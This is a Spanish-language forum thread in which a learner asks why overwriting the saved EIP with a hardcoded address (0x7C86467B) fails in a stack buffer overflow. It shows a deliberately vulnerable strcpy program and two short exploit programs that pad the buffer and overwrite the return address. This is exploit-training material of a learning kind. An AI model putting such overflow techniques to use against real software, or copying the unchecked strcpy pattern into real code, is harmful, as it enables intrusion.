Sustitución directa del EIP

Iniciado por Lodos76, 5 Marzo 2014, 19:31 PM

0 Miembros y 1 Visitante están viendo este tema.

Lodos76

Buenos días.

Quiero preguntar sobre sustituir el EIP directamente (en un BoF) sin usar un JMP REGISTRO, el porqué da error.

El código es el siguiente:
vuln1.c
   /* vuln1.c por Rojodos */
   
   #include <stdio.h>
   #include <string.h>
   
   int main (int argc, char **argv)
   {
   char buffer[64]; //Declaramos un array con 64 bytes de espacio
   
   if (argc < 2)
   {
   printf ("Introduzca un argumento al programa\n");
   return 0;
   }
   
   strcpy (buffer, argv[1]); // Aqui es donde esta el fallo
   
   return 0;
   }


Si yo ejecuto exploit1.c, EIP apuntará a TTTT, pero si yo ejecuto exploit2.c, EIP no apuntará a 0x7C86467B (EIP me está apuntando ahora mismo a 0022FF009), por el tema que la pila cambia y tal, pero aunque apuntara a algo que no existe, ese debería ser el EIP, sin necesidad de un JMP registro, al fin y al cabo, es lo mismo que pasar letras TTTTT, ¿no?

exploit1.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv) {

char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT"; // Para llenar el buffer, lo que haya antes del RET ADDRESS y sustituir el RET ADDRESS

argv[1] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;

execv ("vuln1.exe", argv);

return 0;
}



exploit2.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv) {

char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"; // Para llenar el buffer y lo que haya antes del RET ADDRESS
char EIP[] = "\x7B\x46\x86\x7C"; // RET ADDRESS = 0x7C86467B

strcat(evilbuffer, EIP);

argv[1] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;

execv ("vuln1.exe", argv);

return 0;
}

MCKSys Argentina

#1
Cita de: Lodos76 en  5 Marzo 2014, 19:31 PM
Si yo ejecuto exploit1.c, EIP apuntará a TTTT, pero si yo ejecuto exploit2.c, EIP no apuntará a 0x7C86467B (EIP me está apuntando ahora mismo a 0022FF009), por el tema que la pila cambia y tal, pero aunque apuntara a algo que no existe, ese debería ser el EIP, sin necesidad de un JMP registro, al fin y al cabo, es lo mismo que pasar letras TTTTT, ¿no?

No. En exploit2.c estas declarando la variable EIP[] con lo que haces que el stack frame crezca (4 bytes mas).

No tengo aqui para compilar, pero prueba dejando las T's en el 2° ejemplo...

Saludos!

EDIT:

Olvidate de lo anterior. Necesito dormir...  :P
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


Lodos76

??
exploit2.c está explotando a vuln1.c, y en exploit2.c la variable EIP se concatena a evilbuffer, así que la pila no se modifica.
De todos modos lo he probado y me ha salido lo mismo, ya que no pusheo datos, sinó que los meto en la pila mediante un BoF (sustituyo lo que había anteriormente :D).

Salu2

Lodos76

#3
borrar